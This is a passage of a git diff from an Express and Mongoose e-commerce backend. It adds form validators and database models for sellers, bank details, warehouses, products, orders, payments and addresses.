||||
req.check("city", "City is required").notEmpty()
|
||||
req.check("citizenshipNumber", "Citizenship number is required").notEmpty()
|
||||
req.check("businessRegisterNumber", "Business register number is required").notEmpty()
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
//make req.files to array of objs
|
||||
// let files = []
|
||||
// if (req.files) for (const file in req.files) {
|
||||
// files.push(req.files[file][0]);
|
||||
// }
|
||||
// files.forEach(file => {
|
||||
// fs.unlinkSync(file.path);//and remove file from public/uploads
|
||||
// })
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
next()
|
||||
}
|
||||
exports.validateAdminBankInfo = (req, res, next) => {
|
||||
req.check("accountHolder", "Account holder name is required").notEmpty()
|
||||
req.check("bankName", "Bank name is required").notEmpty()
|
||||
req.check("branchName", "Branch name is required").notEmpty()
|
||||
req.check("accountNumber", "Account number is required").notEmpty()
|
||||
req.check("routingNumber", "Bank number is required").notEmpty()
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
// req.file && fs.unlinkSync(req.file.path);//remove file from public/uploads
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
next()
|
||||
}
|
||||
exports.validateWareHouse = (req, res, next) => {
|
||||
req.check("name", "Warehouse name is required").notEmpty()
|
||||
req.check("address", "Warehouse address is required").notEmpty()
|
||||
req.check("phoneno", "Warehouse phone number is required").notEmpty()
|
||||
req.check("city", "City of warehouse is required").notEmpty()
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
next()
|
||||
}
|
||||
exports.validateAdminProfile = (req, res, next) => {
|
||||
req.check("shopName", "Shop name is required").notEmpty()
|
||||
req.check("address", "address is required").notEmpty()
|
||||
req.check("phone", "phone number is required").notEmpty()
|
||||
req.check("muncipality", "Muncipality is required").notEmpty()
|
||||
req.check("district", "district is required").notEmpty()
|
||||
req.check("wardno", "wardno is required").notEmpty()
|
||||
req.newPassword && req.check("newPassword")
|
||||
.isLength({ min: 6 })
|
||||
.withMessage("Password must be at least 6 chars long")
|
||||
.matches(/\d/)
|
||||
.withMessage("must contain a number")
|
||||
.withMessage("Password must contain a number");
|
||||
// check for errors
|
||||
const errors = req.validationErrors();
|
||||
// if error show the first one as they happen
|
||||
if (errors) {
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
next()
|
||||
}
|
||||
exports.validateProduct = async (req, res, next) => {
|
||||
req.check("name", "Product name is required").notEmpty()
|
||||
req.check("price", "Selling price of product is required").notEmpty()
|
||||
req.check("quantity", "Product quantity is required").notEmpty()
|
||||
req.check("return", "Product returning time peroid required").notEmpty()
|
||||
req.check("description", "Product description is required").notEmpty()
|
||||
req.check("warranty", "Product warranty is required").notEmpty()
|
||||
req.check("brand", "Product brand is required").notEmpty()
|
||||
req.check("availableDistricts", "Invalid districts.").custom((values) => {
|
||||
let dts = values ? typeof values === 'string' ? [values] : values : []
|
||||
return values ? _.intersection(districts, dts).length === dts.length ? true : false : true
|
||||
})
|
||||
|
||||
// check for errors
|
||||
const errors = req.validationErrors() || [];
|
||||
|
||||
// validate images
|
||||
let images = req.body.images || []
|
||||
images = await ProductImages
|
||||
.find()
|
||||
.where('_id')
|
||||
.in(images)
|
||||
.catch(err => errors.push({ msg: "Invalid image ids" }));// catch will execute if invalid ids
|
||||
// if some id are invalid
|
||||
// e.g out of 3 images 1 is not valid the images.length = 2 bcoz 2 are only vaild so shld return error..
|
||||
if (images.length !== (typeof req.body.images === 'string' ? [req.body.images] : req.body.images).length) {
|
||||
errors.push({ msg: "Invalid image ids" })
|
||||
}
|
||||
req.images = images
|
||||
// validate brand
|
||||
let brand = await ProductBrand.findOne({ slug: req.body.brand })
|
||||
if (!brand) {
|
||||
errors.push({ msg: "Invalid product brand" })
|
||||
} else {
|
||||
req.body.brand = brand._id
|
||||
}
|
||||
|
||||
//validate category
|
||||
let categories = await Category.find({ slug: req.body.category })
|
||||
if (!categories.length) {
|
||||
errors.push({ msg: "Invalid product category" })
|
||||
} else if (categories.some(cat=>cat.isDisabled)) {
|
||||
errors.push({ msg: "Categories have been disabled" })
|
||||
} else {
|
||||
req.body.category = categories.map(cat=>cat._id)//as we need id for reference
|
||||
}
|
||||
// if error show the first one as they happen
|
||||
if (errors.length) {
|
||||
console.log(errors);
|
||||
errorHandler();
|
||||
const firstError = errors.map(error => error.msg)[0];
|
||||
return res.status(400).json({ error: firstError });
|
||||
}
|
||||
next()
|
||||
}
|
||||
55
server/models/Address.js
Normal file
@@ -0,0 +1,55 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Schema = mongoose.Schema
|
||||
const pointSchema = new mongoose.Schema({
|
||||
type: {
|
||||
type: String,
|
||||
enum: ['Point']
|
||||
},
|
||||
coordinates: {
|
||||
type: [Number]
|
||||
}
|
||||
});
|
||||
|
||||
const addressSchema = new mongoose.Schema({
|
||||
user: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "user",
|
||||
required: true
|
||||
},
|
||||
label: {
|
||||
type: String,
|
||||
trim: true,
|
||||
enum:['home','office','other']
|
||||
},
|
||||
region: {//pradesh
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
city: {
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
area: {//tole,area name
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
address: {//street level address
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
geolocation: {
|
||||
type: pointSchema,
|
||||
},
|
||||
phoneno: {
|
||||
type: String,
|
||||
trim: true,
|
||||
max: 9999999999,
|
||||
},
|
||||
isActive:{
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
addressSchema.index({ geolocation: "2dsphere" });
|
||||
|
||||
module.exports = mongoose.model("address", addressSchema);
|
||||
149
server/models/Admin.js
Normal file
@@ -0,0 +1,149 @@
|
||||
const mongoose = require("mongoose");
|
||||
const crypto = require("crypto");
|
||||
const Schema = mongoose.Schema
|
||||
const pointSchema = new mongoose.Schema({
|
||||
type: {
|
||||
type: String,
|
||||
enum: ['Point']
|
||||
},
|
||||
coordinates: {
|
||||
type: [Number]
|
||||
}
|
||||
});
|
||||
const adminSchema = new mongoose.Schema({
|
||||
name: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
shopName: {
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 32
|
||||
},
|
||||
address: {
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 32
|
||||
},
|
||||
geolocation: {
|
||||
type: pointSchema,//of superadmin used to calculate geodistance between user nd the order dispatch system
|
||||
},
|
||||
shippingRate: {
|
||||
type: Number// added only by superadmin
|
||||
},
|
||||
shippingCost: {
|
||||
type: Number// added only by superadmin
|
||||
},
|
||||
district: {
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 32
|
||||
},
|
||||
muncipality: {
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 32
|
||||
},
|
||||
wardno: {
|
||||
type: Number
|
||||
},
|
||||
businessInfo: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "businessinfo"
|
||||
},
|
||||
adminBank: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "adminbank"
|
||||
},
|
||||
adminWareHouse: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "adminwarehouse"
|
||||
},
|
||||
phone: {
|
||||
type: Number,
|
||||
max: 9999999999
|
||||
},
|
||||
email: {
|
||||
type: String,
|
||||
trim: true,
|
||||
unique: true
|
||||
},
|
||||
password: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
photo: {
|
||||
type: String
|
||||
},
|
||||
holidayMode: {
|
||||
start: {
|
||||
type: Number
|
||||
},
|
||||
end: {
|
||||
type: Number
|
||||
}
|
||||
},
|
||||
salt: String,
|
||||
role: {
|
||||
type: String,
|
||||
enum: ["admin", "superadmin"],
|
||||
default: "admin"
|
||||
},
|
||||
resetPasswordLink: {
|
||||
type: String,
|
||||
default: ""
|
||||
},
|
||||
emailVerifyLink: {
|
||||
type: String,
|
||||
default: ""
|
||||
},
|
||||
isVerified: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
isBlocked: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
adminSchema.index({ geolocation: "2dsphere" });
|
||||
|
||||
const sha512 = function (password, salt) {
|
||||
let hash = crypto.createHmac('sha512', salt);
|
||||
hash.update(password);
|
||||
let value = hash.digest('hex');
|
||||
return {
|
||||
passwordHash: value
|
||||
};
|
||||
};
|
||||
adminSchema.pre('save', function (next) {
|
||||
let admin = this;
|
||||
if (admin.isModified('password')) {
|
||||
// salt
|
||||
const ranStr = function (n) {
|
||||
return crypto.randomBytes(Math.ceil(8))
|
||||
.toString('hex')
|
||||
.slice(0, n);
|
||||
};
|
||||
// applying sha512 alogrithm
|
||||
let salt = ranStr(16);
|
||||
let passwordData = sha512(admin.password, salt);
|
||||
admin.password = passwordData.passwordHash;
|
||||
admin.salt = salt;
|
||||
next();
|
||||
} else {
|
||||
next();
|
||||
}
|
||||
})
|
||||
adminSchema.statics.findByCredentials = async function (email, password) {
|
||||
let Admin = this;
|
||||
const admin = await Admin.findOne({ email })
|
||||
if (!admin) return ''
|
||||
let passwordData = sha512(password, admin.salt)
|
||||
if (passwordData.passwordHash == admin.password) {
|
||||
return admin
|
||||
}
|
||||
}
|
||||
module.exports = mongoose.model("admin", adminSchema);
|
||||
49
server/models/AdminBank.js
Normal file
@@ -0,0 +1,49 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Schema = mongoose.Schema
|
||||
const bankSchema = new mongoose.Schema({
|
||||
admin: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "admin",
|
||||
required: true
|
||||
},
|
||||
accountHolder: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
bankName: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
branchName: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
accountNumber: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
routingNumber: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
chequeCopy: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "adminfile",
|
||||
},
|
||||
isVerified: {
|
||||
type: Date,//as we may need verified date
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
|
||||
module.exports = mongoose.model("adminbank", bankSchema);
|
||||
10
server/models/AdminFiles.js
Normal file
@@ -0,0 +1,10 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema
|
||||
const adminFileSchema = new mongoose.Schema({
|
||||
admin: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "admin",
|
||||
},
|
||||
fileUri: String
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('adminfile', adminFileSchema);
|
||||
39
server/models/AdminWarehouse.js
Normal file
@@ -0,0 +1,39 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Schema = mongoose.Schema
|
||||
const warehouseSchema = new mongoose.Schema({
|
||||
admin: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "admin",
|
||||
required: true
|
||||
},
|
||||
name: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
address: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
phoneno: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
city: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
isVerified: {
|
||||
type: Date,//as we may need verified date
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
|
||||
module.exports = mongoose.model("adminwarehouse", warehouseSchema);
|
||||
19
server/models/Banner.js
Normal file
@@ -0,0 +1,19 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema;
|
||||
const bannerSchema = mongoose.Schema({
|
||||
bannerPhoto :{
|
||||
type:String
|
||||
},
|
||||
link: {
|
||||
type: String
|
||||
},
|
||||
product: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'product'
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('banner', bannerSchema);
|
||||
57
server/models/BusinessInfo.js
Normal file
@@ -0,0 +1,57 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Schema = mongoose.Schema
|
||||
const businessSchema = new mongoose.Schema({
|
||||
admin: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "admin",
|
||||
required: true
|
||||
},
|
||||
ownerName: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
address: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
city: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
citizenshipNumber: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
businessRegisterNumber:{
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
citizenshipFront: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "adminfile",
|
||||
},
|
||||
citizenshipBack: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "adminfile",
|
||||
},
|
||||
businessLicence:{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "adminfile",
|
||||
},
|
||||
isVerified:{
|
||||
type: Date,//as we may need verified date
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
|
||||
module.exports = mongoose.model("businessinfo", businessSchema);
|
||||
23
server/models/Cart.js
Normal file
@@ -0,0 +1,23 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema;
|
||||
const cartSchema = mongoose.Schema({
|
||||
user: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'user'
|
||||
},
|
||||
product: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'product'
|
||||
},
|
||||
quantity: {
|
||||
type: Number,
|
||||
},
|
||||
productAttributes: {
|
||||
type: String
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('cart', cartSchema);
|
||||
34
server/models/Category.js
Normal file
@@ -0,0 +1,34 @@
|
||||
const mongoose = require("mongoose");
|
||||
const URLSlugs = require('mongoose-url-slugs');
|
||||
const Schema = mongoose.Schema
|
||||
const categorySchema = new mongoose.Schema({
|
||||
systemName: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
displayName: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
parent: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'productbrand'
|
||||
},
|
||||
brands: [{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'category'
|
||||
}],
|
||||
slug:{
|
||||
type: String
|
||||
},
|
||||
isDisabled: {
|
||||
type: Date,
|
||||
default:null
|
||||
}
|
||||
});
|
||||
categorySchema.plugin(URLSlugs('displayName', { field: 'slug', update: true }));
|
||||
module.exports = mongoose.model("category", categorySchema);
|
||||
76
server/models/Dispatcher.js
Normal file
@@ -0,0 +1,76 @@
|
||||
const mongoose = require("mongoose");
|
||||
const crypto = require("crypto");
|
||||
const Schema = mongoose.Schema
|
||||
const dispatcherSchema = new mongoose.Schema({
|
||||
name: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
address: {
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 32
|
||||
},
|
||||
phone: {
|
||||
type: Number,
|
||||
max: 9999999999
|
||||
},
|
||||
email: {
|
||||
type: String,
|
||||
trim: true,
|
||||
unique: true
|
||||
},
|
||||
password: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
salt: String,
|
||||
resetPasswordLink: {
|
||||
type: String,
|
||||
default: ""
|
||||
},
|
||||
isBlocked: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
|
||||
const sha512 = function (password, salt) {
|
||||
let hash = crypto.createHmac('sha512', salt);
|
||||
hash.update(password);
|
||||
let value = hash.digest('hex');
|
||||
return {
|
||||
passwordHash: value
|
||||
};
|
||||
};
|
||||
dispatcherSchema.pre('save', function (next) {
|
||||
let dispatcher = this;
|
||||
if (dispatcher.isModified('password')) {
|
||||
// salt
|
||||
const ranStr = function (n) {
|
||||
return crypto.randomBytes(Math.ceil(8))
|
||||
.toString('hex')
|
||||
.slice(0, n);
|
||||
};
|
||||
// applying sha512 alogrithm
|
||||
let salt = ranStr(16);
|
||||
let passwordData = sha512(dispatcher.password, salt);
|
||||
dispatcher.password = passwordData.passwordHash;
|
||||
dispatcher.salt = salt;
|
||||
next();
|
||||
} else {
|
||||
next();
|
||||
}
|
||||
})
|
||||
dispatcherSchema.statics.findByCredentials = async function (email, password) {
|
||||
let Dispatcher = this;
|
||||
const dispatcher = await Dispatcher.findOne({ email })
|
||||
if (!dispatcher) return ''
|
||||
let passwordData = sha512(password, dispatcher.salt)
|
||||
if (passwordData.passwordHash == dispatcher.password) {
|
||||
return dispatcher
|
||||
}
|
||||
}
|
||||
module.exports = mongoose.model("dispatcher", dispatcherSchema);
|
||||
10
server/models/Districts.js
Normal file
@@ -0,0 +1,10 @@
|
||||
const mongoose = require('mongoose');
|
||||
const { districts } = require('../middleware/common');
|
||||
const districtSchema = mongoose.Schema({
|
||||
name: {
|
||||
type: String,
|
||||
unique: true,
|
||||
enum : districts
|
||||
}
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('district', districtSchema);
|
||||
12
server/models/Lead.js
Normal file
@@ -0,0 +1,12 @@
|
||||
const mongoose = require('mongoose');
|
||||
const leadSchema = mongoose.Schema({
|
||||
email: {
|
||||
type: String,
|
||||
unique: true
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('lead', leadSchema);
|
||||
18
server/models/ManualOrder.js
Normal file
@@ -0,0 +1,18 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema;
|
||||
const manualOrderSchema = mongoose.Schema({
|
||||
productName:{
|
||||
type: String
|
||||
},
|
||||
link:{
|
||||
type: String
|
||||
},
|
||||
description: {
|
||||
type: String
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
|
||||
module.exports = mongoose.model('manualorder', manualOrderSchema);
|
||||
29
server/models/Notification.js
Normal file
@@ -0,0 +1,29 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema
|
||||
const notificationSchema = new mongoose.Schema({
|
||||
admin: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "admin",
|
||||
},
|
||||
notifications: [{
|
||||
notificationType: String, //order, question_on_product, answer_on_product, review
|
||||
notificationDetail: Object, //details in key/value
|
||||
hasRead: {
|
||||
type: Boolean,
|
||||
default: false
|
||||
},
|
||||
date: {
|
||||
type: Date
|
||||
},
|
||||
// hasSeen: {
|
||||
// type: Boolean,
|
||||
// default: false
|
||||
// }
|
||||
}],
|
||||
noOfUnseen: {
|
||||
type: Number,
|
||||
default: 0
|
||||
}
|
||||
|
||||
});
|
||||
module.exports = mongoose.model('notification', notificationSchema);
|
||||
149
server/models/Order.js
Normal file
@@ -0,0 +1,149 @@
|
||||
const mongoose = require("mongoose");
|
||||
const { allOrderStatus } = require("../middleware/common");
|
||||
|
||||
const Schema = mongoose.Schema
|
||||
const pointSchema = new mongoose.Schema({
|
||||
type: {
|
||||
type: String,
|
||||
enum: ['Point']
|
||||
},
|
||||
coordinates: {
|
||||
type: [Number]
|
||||
}
|
||||
});
|
||||
const orderSchema = new mongoose.Schema({
|
||||
user: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "user",
|
||||
required: true
|
||||
},
|
||||
orderID:{
|
||||
type: String,
|
||||
require: true
|
||||
},
|
||||
product: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "product",
|
||||
required: true
|
||||
},
|
||||
payment: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "payment",
|
||||
},
|
||||
quantity: {
|
||||
type: Number
|
||||
},
|
||||
soldBy:{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref:"admin"
|
||||
},
|
||||
status: {
|
||||
currentStatus: {
|
||||
type: String,
|
||||
enum: allOrderStatus
|
||||
},
|
||||
activeDate: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
approvedDate: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
dispatchedDetail: {
|
||||
dispatchedDate: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
dispatchedBy: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'dispatcher'
|
||||
},
|
||||
},
|
||||
cancelledDetail: {
|
||||
cancelledDate:{
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
cancelledBy:{
|
||||
type: Schema.Types.ObjectId,
|
||||
refPath: "cancelledByModel"
|
||||
},
|
||||
remark: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'remark'
|
||||
},
|
||||
},
|
||||
completedDate: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
tobereturnedDate: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
// tobeReturnedDetail: {
|
||||
// tobereturnedDate: {
|
||||
// type: Date
|
||||
// },
|
||||
// remark: {
|
||||
// type: Schema.Types.ObjectId,
|
||||
// ref: 'remark'
|
||||
// },
|
||||
// },
|
||||
returnedDetail: {
|
||||
returnedDate: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
returneddBy: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'dispatcher'
|
||||
},
|
||||
remark: [{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'remark'
|
||||
}],
|
||||
},
|
||||
},
|
||||
shipto:{
|
||||
region: {//pradesh
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
city: {
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
area: {//tole,area name
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
address: {//street level address
|
||||
type: String,
|
||||
trim: true,
|
||||
},
|
||||
geolocation: {
|
||||
type: pointSchema,
|
||||
},
|
||||
phoneno: {
|
||||
type: String,
|
||||
trim: true,
|
||||
max: 9999999999,
|
||||
}
|
||||
},
|
||||
isPaid:{
|
||||
type: Boolean,
|
||||
default: false
|
||||
},
|
||||
cancelledByModel: {
|
||||
type: String,
|
||||
enum: ['user', 'admin']
|
||||
},
|
||||
productAttributes:{
|
||||
type: String
|
||||
}
|
||||
}, { timestamps: true });
|
||||
orderSchema.index({ geolocation: "2dsphere" });
|
||||
|
||||
module.exports = mongoose.model("order", orderSchema);
|
||||
43
server/models/Payment.js
Normal file
@@ -0,0 +1,43 @@
|
||||
const mongoose = require("mongoose");
|
||||
const Schema = mongoose.Schema
|
||||
const paymentSchema = new mongoose.Schema({
|
||||
user: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "user",
|
||||
required: true
|
||||
},
|
||||
order: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "order",
|
||||
required: true
|
||||
},
|
||||
method: {
|
||||
type: String,
|
||||
enum: ['Cash on Delivery','manual']//manual ==> bank or manual esewa..
|
||||
},
|
||||
shippingCharge: {
|
||||
type: Number,
|
||||
},
|
||||
amount: {
|
||||
type: Number,
|
||||
},
|
||||
returnedAmount: {
|
||||
type: Number,
|
||||
default: null
|
||||
},
|
||||
transactionCode: {
|
||||
type: String,
|
||||
required: true
|
||||
},
|
||||
from:{
|
||||
type:Number,
|
||||
max: 9999999999 //!esewa && receiverNumber
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
}
|
||||
|
||||
}, { timestamps: true });
|
||||
|
||||
module.exports = mongoose.model("payment", paymentSchema);
|
||||
141
server/models/Product.js
Normal file
@@ -0,0 +1,141 @@
|
||||
const mongoose = require("mongoose");
|
||||
const URLSlugs = require('mongoose-url-slugs');
|
||||
const { districts } = require("../middleware/common");
|
||||
const Schema = mongoose.Schema;
|
||||
const productSchema = mongoose.Schema({
|
||||
name: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 128
|
||||
},
|
||||
brand: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'productbrand'
|
||||
},
|
||||
quantity: {
|
||||
type: Number,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
category: [{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'category'
|
||||
}],
|
||||
averageRating:{
|
||||
type: mongoose.Decimal128
|
||||
},
|
||||
totalRatingUsers:{
|
||||
type: Number
|
||||
},
|
||||
soldBy: {
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'admin'
|
||||
},
|
||||
images: [{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'productimages'
|
||||
}],
|
||||
warranty: {
|
||||
type: String,
|
||||
trim: true,
|
||||
required: true,
|
||||
maxlength: 32
|
||||
},
|
||||
return: {
|
||||
type: String,
|
||||
required: true,
|
||||
trim: true,
|
||||
maxlength: 32
|
||||
},
|
||||
size: [{
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 32
|
||||
}],
|
||||
model: {
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 128
|
||||
},
|
||||
color: [{
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 128
|
||||
}],
|
||||
weight: [{
|
||||
type: String,
|
||||
trim: true,
|
||||
maxlength: 128
|
||||
}],
|
||||
description: {
|
||||
type: String,
|
||||
required: true,
|
||||
trim: true,
|
||||
maxlength: 2000
|
||||
},
|
||||
highlights: {
|
||||
type: String,
|
||||
required: true,
|
||||
trim: true,
|
||||
maxlength: 2000
|
||||
},
|
||||
tags: [{
|
||||
type: String
|
||||
}],
|
||||
price: {
|
||||
type: mongoose.Decimal128,
|
||||
required:true
|
||||
},
|
||||
discountRate: {
|
||||
type: Number,//it may b float as well..
|
||||
default:0
|
||||
},
|
||||
videoURL:[{
|
||||
type:String
|
||||
}],
|
||||
isVerified: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
isRejected: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
isDeleted: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
isFeatured: {
|
||||
type: Date,
|
||||
default: null
|
||||
},
|
||||
viewsCount: {
|
||||
type: Number,
|
||||
default: 0,
|
||||
},
|
||||
trendingScore: {
|
||||
type: mongoose.Decimal128,
|
||||
default: 0
|
||||
},
|
||||
noOfSoldOut: {
|
||||
type: Number,
|
||||
default: 0,
|
||||
},
|
||||
slug: {
|
||||
type: String,
|
||||
unique: true
|
||||
},
|
||||
availableDistricts:[{
|
||||
type: String,
|
||||
enum: districts,
|
||||
required: true
|
||||
}],
|
||||
remark: [{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: 'remark'
|
||||
}],
|
||||
}, { timestamps: true });
|
||||
productSchema.plugin(URLSlugs('name', { field: 'slug', update: true }));
|
||||
module.exports = mongoose.model("product", productSchema);
|
||||
16
server/models/ProductBrand.js
Normal file
@@ -0,0 +1,16 @@
|
||||
const mongoose = require('mongoose');
|
||||
const URLSlugs = require('mongoose-url-slugs');
|
||||
const brandSchema = new mongoose.Schema({
|
||||
brandName: {
|
||||
type : String
|
||||
},
|
||||
systemName: {
|
||||
type: String,
|
||||
unique: true
|
||||
},
|
||||
slug:{
|
||||
type: String
|
||||
}
|
||||
})
|
||||
brandSchema.plugin(URLSlugs('brandName', { field: 'slug', update: true }));
|
||||
module.exports = mongoose.model("productbrand", brandSchema);
|
||||
19
server/models/ProductImages.js
Normal file
@@ -0,0 +1,19 @@
|
||||
const mongoose = require('mongoose');
|
||||
const Schema = mongoose.Schema
|
||||
const productImageSchema = mongoose.Schema({
|
||||
thumbnail: {
|
||||
type: String
|
||||
},
|
||||
medium: {
|
||||
type: String
|
||||
},
|
||||
large: {
|
||||
type:String
|
||||
},
|
||||
productLink:{
|
||||
type: Schema.Types.ObjectId,
|
||||
ref: "product",
|
||||
default: null
|
||||
}
|
||||
}, { timestamps: true });
